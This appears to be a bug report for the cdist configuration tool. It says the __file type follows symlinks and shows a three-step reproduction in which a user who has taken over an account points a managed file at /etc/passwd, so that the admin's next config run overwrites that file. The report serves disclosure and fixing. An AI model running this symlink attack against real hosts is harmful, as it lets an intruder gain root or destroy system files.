__file type overwrites symlinked files

### in some manifest
echo "some content" | __file /home/fred/somefile \
   --owner fred \
   --group fred \
   --mode 644
   --source -

### in some evil guys shell who has gained access to freds account
rm /home/fred/somefile
ln -s /etc/passwd /home/fred/somefile

### in some admins shell
cdist config the-host-where-freds-account-is

BOOM: the content of /etc/passwd is now "some content"